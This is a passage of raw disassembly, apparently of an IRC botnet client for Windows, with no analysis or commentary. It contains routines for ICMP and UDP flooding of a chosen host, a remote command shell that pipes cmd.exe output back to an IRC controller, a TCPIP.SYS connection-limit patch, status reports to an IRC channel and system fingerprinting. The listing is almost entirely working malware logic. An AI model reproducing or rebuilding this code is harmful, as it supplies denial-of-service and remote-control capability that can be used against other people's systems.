push [ebp+arg_0]
push esi
push esi
push [ebp+var_C]
call sub_418132
mov eax, [ebp+var_4]
push esi
push [ebp+eax+var_50]
push [ebp+var_C]
call sub_418480
add esp, 28h
test eax, eax
jnz short loc_40B372
inc [ebp+var_8]
loc_40B372: ; CODE XREF: sub_40B0E7+286j
add [ebp+var_4], 4
cmp [ebp+var_4], 20h
jl short loc_40B33B
cmp [ebp+var_8], 8
jge short loc_40B3AE
mov [ebp+var_10], esi
loc_40B385: ; CODE XREF: sub_40B0E7+2C3j
push 0
push [ebp+ebx+var_30]
push [ebp+arg_0]
call sub_4183EE
push [ebp+arg_0]
push esi
push esi
push [ebp+ebx+var_50]
call sub_4188AC
add ebx, 4
add esp, 1Ch
cmp ebx, 20h
jl short loc_40B385
loc_40B3AC: ; CODE XREF: sub_40B0E7+214j
xor ebx, ebx
loc_40B3AE: ; CODE XREF: sub_40B0E7+15Ej
; sub_40B0E7+1E4j ...
push [ebp+arg_0]
call sub_4180DC
pop ecx
lea eax, [ebp+var_198]
push ebx
push edi
push 3
push ebx
push 2
push 40000000h
push eax
nop
call near ptr 7C801A24h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40B3F4
lea eax, [ebp+var_80]
push eax
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_88]
push eax
push esi
nop
call near ptr 7C831CB8h
push esi
nop
call near ptr 7C809B47h
loc_40B3F4: ; CODE XREF: sub_40B0E7+2EEj
cmp [ebp+var_10], ebx
jz short loc_40B442
push [ebp+var_94]
lea eax, [ebp+var_3A0]
push offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
push 200h
push eax
call sub_41792A
push ebx
lea eax, [ebp+var_3A0]
push [ebp+var_90]
push eax
push offset aSodoma_3t ; "##sodoma_3t"
push [ebp+var_1A0]
call sub_40DC10
lea eax, [ebp+var_3A0]
push eax
call sub_40C4F7
add esp, 28h
loc_40B442: ; CODE XREF: sub_40B0E7+310j
push [ebp+var_19C]
mov dword_42ED0C, ebx
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_40B0E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B45B proc near ; DATA XREF: sub_40F6F1+2F57o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_441344 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4413F8 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40B4B6
lea eax, [ebp+var_C0]
push eax
call dword_44143C ; gethostbyname
cmp eax, ebx
jz short loc_40B4BC
loc_40B4B6: ; CODE XREF: sub_40B45B+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40B519
loc_40B4BC: ; CODE XREF: sub_40B45B+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42D1E4
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B4FC
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40DC10
add esp, 14h
loc_40B4FC: ; CODE XREF: sub_40B45B+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40C4F7
push [ebp+var_30]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
loc_40B519: ; CODE XREF: sub_40B45B+5Fj
cmp eax, ebx
jz short loc_40B529
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40B52C
; ---------------------------------------------------------------------------
loc_40B529: ; CODE XREF: sub_40B45B+C0j
mov [ebp+var_4], esi
loc_40B52C: ; CODE XREF: sub_40B45B+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_417430
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40B54C
mov [ebp+var_3C], eax
loc_40B54C: ; CODE XREF: sub_40B45B+ECj
cmp [ebp+var_38], edi
jge short loc_40B554
mov [ebp+var_38], edi
loc_40B554: ; CODE XREF: sub_40B45B+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40B581
loc_40B55B: ; CODE XREF: sub_40B45B+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4412DC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_40B55B
loc_40B581: ; CODE XREF: sub_40B45B+FEj
push [ebp+arg_0]
call dword_441470 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42D1A8
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B5CA
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40DC10
add esp, 14h
loc_40B5CA: ; CODE XREF: sub_40B45B+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40C4F7
push [ebp+var_30]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_40B45B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5E7 proc near ; DATA XREF: sub_40F6F1+3092o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
pop ecx
push 11h
push 2
push 2
call dword_441438 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B6CC
lea eax, [ebp+var_B0]
push eax
call dword_44143C ; gethostbyname
cmp eax, edi
jnz short loc_40B6C5
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42D258
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B6A8
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40DC10
add esp, 14h
loc_40B6A8: ; CODE XREF: sub_40B5E7+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40C4F7
push [ebp+var_20]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40B6C5: ; CODE XREF: sub_40B5E7+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B6CF
; ---------------------------------------------------------------------------
loc_40B6CC: ; CODE XREF: sub_40B5E7+6Ej
lea eax, [ebp+arg_0]
loc_40B6CF: ; CODE XREF: sub_40B5E7+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B6EA
call sub_417408
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B6ED
; ---------------------------------------------------------------------------
loc_40B6EA: ; CODE XREF: sub_40B5E7+F0j
push [ebp+var_24]
loc_40B6ED: ; CODE XREF: sub_40B5E7+101j
call dword_4413B8 ; ntohs
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B6FF
mov [ebp+var_24], esi
loc_40B6FF: ; CODE XREF: sub_40B5E7+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B70C
mov [ebp+var_24], eax
loc_40B70C: ; CODE XREF: sub_40B5E7+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B720
mov [ebp+var_28], esi
loc_40B720: ; CODE XREF: sub_40B5E7+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40B741
loc_40B727: ; CODE XREF: sub_40B5E7+158j
call sub_417408
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40B727
loc_40B741: ; CODE XREF: sub_40B5E7+13Ej
; sub_40B5E7+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40B7A0
push 0Bh
pop esi
loc_40B74E: ; CODE XREF: sub_40B5E7+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_417408
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_44141C ; sendto
push [ebp+var_28]
nop
call near ptr 7C802442h
dec esi
jnz short loc_40B74E
cmp [ebp+var_24], edi
jnz short loc_40B741
call sub_417408
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4413B8 ; ntohs
mov [ebp+var_E], ax
jmp short loc_40B741
; ---------------------------------------------------------------------------
loc_40B7A0: ; CODE XREF: sub_40B5E7+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42D21C
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B7E0
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40DC10
add esp, 14h
loc_40B7E0: ; CODE XREF: sub_40B5E7+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40C4F7
push [ebp+var_20]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
sub_40B5E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B7FD proc near ; CODE XREF: sub_40B82D+2Ap
; sub_40B865+7Ep ...
mov eax, dword_441708
push esi
mov esi, dword_42107C
cmp eax, 0FFFFFFFFh
jz short loc_40B811
push eax
call esi ; CloseHandle
loc_40B811: ; CODE XREF: sub_40B7FD+Fj
mov eax, dword_441710
cmp eax, 0FFFFFFFFh
jz short loc_40B81E
push eax
call esi ; CloseHandle
loc_40B81E: ; CODE XREF: sub_40B7FD+1Cj
mov eax, dword_441704
cmp eax, 0FFFFFFFFh
jz short loc_40B82B
push eax
call esi ; CloseHandle
loc_40B82B: ; CODE XREF: sub_40B7FD+29j
pop esi
retn
sub_40B7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B82D proc near ; CODE XREF: sub_40C8F3+14Ap
; sub_40F6F1+4B0Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_417AF0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_44170C
nop
call near ptr 7C810D87h
test eax, eax
jnz short loc_40B860
call sub_40B7FD
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B860: ; CODE XREF: sub_40B82D+28j
push 1
pop eax
leave
retn
sub_40B82D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B865 proc near ; CODE XREF: sub_40B8EC+D3p
; sub_40B8EC+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43C63C
push [ebp+arg_4]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B8A8
push 7D0h
nop
call near ptr 7C802442h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4173AC
add esp, 10h
jmp short loc_40B8BF
; ---------------------------------------------------------------------------
loc_40B8A8: ; CODE XREF: sub_40B865+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset dword_42433C
push eax
call sub_4173AC
add esp, 0Ch
loc_40B8BF: ; CODE XREF: sub_40B865+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_441408 ; send
test eax, eax
jg short loc_40B8E8
call sub_40B7FD
loc_40B8E8: ; CODE XREF: sub_40B865+7Cj
xor eax, eax
leave
retn
sub_40B865 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8EC proc near ; DATA XREF: sub_40BA41+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_441714
loc_40B904: ; CODE XREF: sub_40B8EC+79j
; sub_40B8EC+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_441708
nop
call near ptr 7C85F90Fh
test eax, eax
jz loc_40B9D2
cmp [ebp+var_4], edi
jnz short loc_40B967
lea eax, [ebp+var_8]
push eax
push dword_441704
nop
call near ptr 7C81AE17h
test eax, eax
jz short loc_40B95D
cmp [ebp+var_8], 103h
jnz loc_40B9F6
loc_40B95D: ; CODE XREF: sub_40B8EC+62j
push 0Ah
nop
call near ptr 7C802442h
jmp short loc_40B904
; ---------------------------------------------------------------------------
loc_40B967: ; CODE XREF: sub_40B8EC+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40B97E
loc_40B96E: ; CODE XREF: sub_40B8EC+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40B9CC
inc eax
cmp eax, [ebp+var_4]
jb short loc_40B96E
loc_40B97E: ; CODE XREF: sub_40B8EC+80j
mov [ebp+var_4], esi
loc_40B981: ; CODE XREF: sub_40B8EC+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_441708
nop
call near ptr 7C80180Eh
test eax, eax
jz short loc_40BA1E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_441748
call sub_40B865
add esp, 0Ch
jmp loc_40B904
; ---------------------------------------------------------------------------
loc_40B9CC: ; CODE XREF: sub_40B8EC+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40B981
; ---------------------------------------------------------------------------
loc_40B9D2: ; CODE XREF: sub_40B8EC+45j
push offset dword_42D318
push ebx
push dword_441748
call sub_40B865
push [ebp+arg_0]
call sub_417174
add esp, 10h
push 1
nop
call near ptr 7C80C058h
loc_40B9F6: ; CODE XREF: sub_40B8EC+6Bj
call sub_40B7FD
push offset dword_42D2E0
push ebx
push dword_441748
call sub_40B865
push [ebp+arg_0]
call sub_417174
add esp, 10h
push edi
nop
call near ptr 7C80C058h
loc_40BA1E: ; CODE XREF: sub_40B8EC+C3j
push offset dword_42D2A0
push ebx
push dword_441748
call sub_40B865
push [ebp+arg_0]
call sub_417174
add esp, 10h
push edi
nop
call near ptr 7C80C058h
sub_40B8EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA41 proc near ; CODE XREF: sub_40C8F3+99p
; sub_40F6F1+58A4p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40B7FD
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_441474 ; SearchPathA
test eax, eax
jz loc_40BB3B
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_421144
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40BB3B
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40BB3B
mov edi, dword_421140
push 3
push esi
push esi
push offset dword_44170C
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
nop
call near ptr 7C80DDFEh
test eax, eax
jz short loc_40BB3B
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417430
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417430
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43C63C
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 7C802367h
test eax, eax
jnz short loc_40BB43
loc_40BB3B: ; CODE XREF: sub_40BA41+2Fj
; sub_40BA41+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40BBF1
; ---------------------------------------------------------------------------
loc_40BB43: ; CODE XREF: sub_40BA41+F8j
push [ebp+var_4]
mov edi, dword_42107C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_441708, eax
mov eax, [ebp+var_8]
mov dword_441710, eax
mov eax, [ebp+var_2C]
mov dword_441704, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_441748, eax
jz short loc_40BB7D
push [ebp+arg_4]
jmp short loc_40BB7E
; ---------------------------------------------------------------------------
loc_40BB7D: ; CODE XREF: sub_40BA41+135j
push ebx
loc_40BB7E: ; CODE XREF: sub_40BA41+13Aj
push offset dword_441714
call sub_4173AC
pop ecx
pop ecx
push esi
push 7
push offset dword_42D39C
call sub_416E58
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_446E18[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40B8EC
push esi
push esi
nop
call near ptr 7C810637h
cmp eax, esi
mov dword_446E24[edi], eax
jnz short loc_40BBEF
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_378]
push offset dword_42D358
push eax
call sub_4173AC
lea eax, [ebp+var_378]
push eax
call sub_40C4F7
add esp, 10h
loc_40BBEF: ; CODE XREF: sub_40BA41+185j
xor eax, eax
loc_40BBF1: ; CODE XREF: sub_40BA41+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40BA41 endp
; =============== S U B R O U T I N E =======================================
sub_40BBF6 proc near ; CODE XREF: sub_40707C+74p
; sub_40BDAD+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 7C80929Ch
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_441750
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41792A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40BBF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC5F proc near ; CODE XREF: sub_408FAC+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 7C812ADEh
test eax, eax
jz short loc_40BCF2
cmp [ebp+var_90], 4
jnz short loc_40BCC8
cmp [ebp+var_8C], esi
jnz short loc_40BCB0
cmp [ebp+var_84], 1
jnz short loc_40BCA3
push 1
pop esi
loc_40BCA3: ; CODE XREF: sub_40BC5F+3Fj
cmp [ebp+var_84], 2
jnz short loc_40BCF2
push 1
jmp short loc_40BCF1
; ---------------------------------------------------------------------------
loc_40BCB0: ; CODE XREF: sub_40BC5F+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_40BCBD
loc_40BCB9: ; CODE XREF: sub_40BC5F+78j
push 2
jmp short loc_40BCF1
; ---------------------------------------------------------------------------
loc_40BCBD: ; CODE XREF: sub_40BC5F+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_40BCF2
jmp short loc_40BCE2
; ---------------------------------------------------------------------------
loc_40BCC8: ; CODE XREF: sub_40BC5F+2Ej
cmp [ebp+var_90], 5
jnz short loc_40BCF2
cmp [ebp+var_8C], esi
jz short loc_40BCB9
cmp [ebp+var_8C], 1
jnz short loc_40BCE6
loc_40BCE2: ; CODE XREF: sub_40BC5F+67j
push 3
jmp short loc_40BCF1
; ---------------------------------------------------------------------------
loc_40BCE6: ; CODE XREF: sub_40BC5F+81j
cmp [ebp+var_8C], 2
jnz short loc_40BCF2
push 7
loc_40BCF1: ; CODE XREF: sub_40BC5F+4Fj
; sub_40BC5F+5Cj ...
pop esi
loc_40BCF2: ; CODE XREF: sub_40BC5F+25j
; sub_40BC5F+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_40BC5F endp
; =============== S U B R O U T I N E =======================================
sub_40BCF7 proc near ; CODE XREF: sub_40BDAD+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40BCFF: ; CODE XREF: sub_40BCF7+2Fj
; sub_40BCF7+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 7C802442h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_418A40
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40BCFF
jb short loc_40BD2E
cmp ebx, esi
ja short loc_40BCFF
loc_40BD2E: ; CODE XREF: sub_40BCF7+31j
push 0
push 64h
push edi
push ebx
call sub_4189C0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40BDA1
jb short loc_40BD4D
cmp esi, 50h
jnb short loc_40BD52
loc_40BD4D: ; CODE XREF: sub_40BCF7+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40BD52: ; CODE XREF: sub_40BCF7+54j
test ecx, ecx
ja short loc_40BDA1
jb short loc_40BD5D
cmp esi, 47h
jnb short loc_40BD62
loc_40BD5D: ; CODE XREF: sub_40BCF7+5Fj
push 42h
xor edx, edx
pop eax
loc_40BD62: ; CODE XREF: sub_40BCF7+64j
test ecx, ecx
ja short loc_40BDA1
jb short loc_40BD6D
cmp esi, 37h
jnb short loc_40BD72
loc_40BD6D: ; CODE XREF: sub_40BCF7+6Fj
push 32h
xor edx, edx
pop eax
loc_40BD72: ; CODE XREF: sub_40BCF7+74j
test ecx, ecx
ja short loc_40BDA1
jb short loc_40BD7D
cmp esi, 26h
jnb short loc_40BD82
loc_40BD7D: ; CODE XREF: sub_40BCF7+7Fj
push 21h
xor edx, edx
pop eax
loc_40BD82: ; CODE XREF: sub_40BCF7+84j
test ecx, ecx
ja short loc_40BDA1
jb short loc_40BD8D
cmp esi, 1Eh
jnb short loc_40BD92
loc_40BD8D: ; CODE XREF: sub_40BCF7+8Fj
push 19h
xor edx, edx
pop eax
loc_40BD92: ; CODE XREF: sub_40BCF7+94j
test ecx, ecx
ja short loc_40BDA1
jb short loc_40BD9D
cmp esi, 0Ah
jnb short loc_40BDA1
loc_40BD9D: ; CODE XREF: sub_40BCF7+9Fj
xor eax, eax
xor edx, edx
loc_40BDA1: ; CODE XREF: sub_40BCF7+4Dj
; sub_40BCF7+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40BCF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDAD proc near ; CODE XREF: sub_40F6F1+5B1Bp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43C63C
mov [ebp+var_CC], 94h
nop
call near ptr 7C812ADEh
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40BE34
cmp [ebp+var_C4], ebx
jnz short loc_40BE10
cmp [ebp+var_BC], 1
jnz short loc_40BDFA
mov [ebp+var_4], offset a95 ; "95"
loc_40BDFA: ; CODE XREF: sub_40BDAD+44j
cmp [ebp+var_BC], 2
jnz loc_40BEAF
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40BE80
; ---------------------------------------------------------------------------
loc_40BE10: ; CODE XREF: sub_40BDAD+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40BE22
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE22: ; CODE XREF: sub_40BDAD+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40BE70
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE34: ; CODE XREF: sub_40BDAD+33j
cmp [ebp+var_C8], 5
jnz short loc_40BE70
cmp [ebp+var_C4], ebx
jnz short loc_40BE4E
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE4E: ; CODE XREF: sub_40BDAD+96j
cmp [ebp+var_C4], 1
jnz short loc_40BE60
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE60: ; CODE XREF: sub_40BDAD+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40BE77
loc_40BE70: ; CODE XREF: sub_40BDAD+7Cj
; sub_40BDAD+8Ej
mov [ebp+var_4], offset dword_42D4E0
loc_40BE77: ; CODE XREF: sub_40BDAD+73j
; sub_40BDAD+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40BEAF
loc_40BE80: ; CODE XREF: sub_40BDAD+61j
cmp [ebp+var_B8], bl
jz short loc_40BEAF
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_424340
push eax
call sub_4173AC
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40BEAF: ; CODE XREF: sub_40BDAD+54j
; sub_40BDAD+D1j ...
mov ax, word_42D4DC
push 3Fh
mov [ebp+var_25C], ax
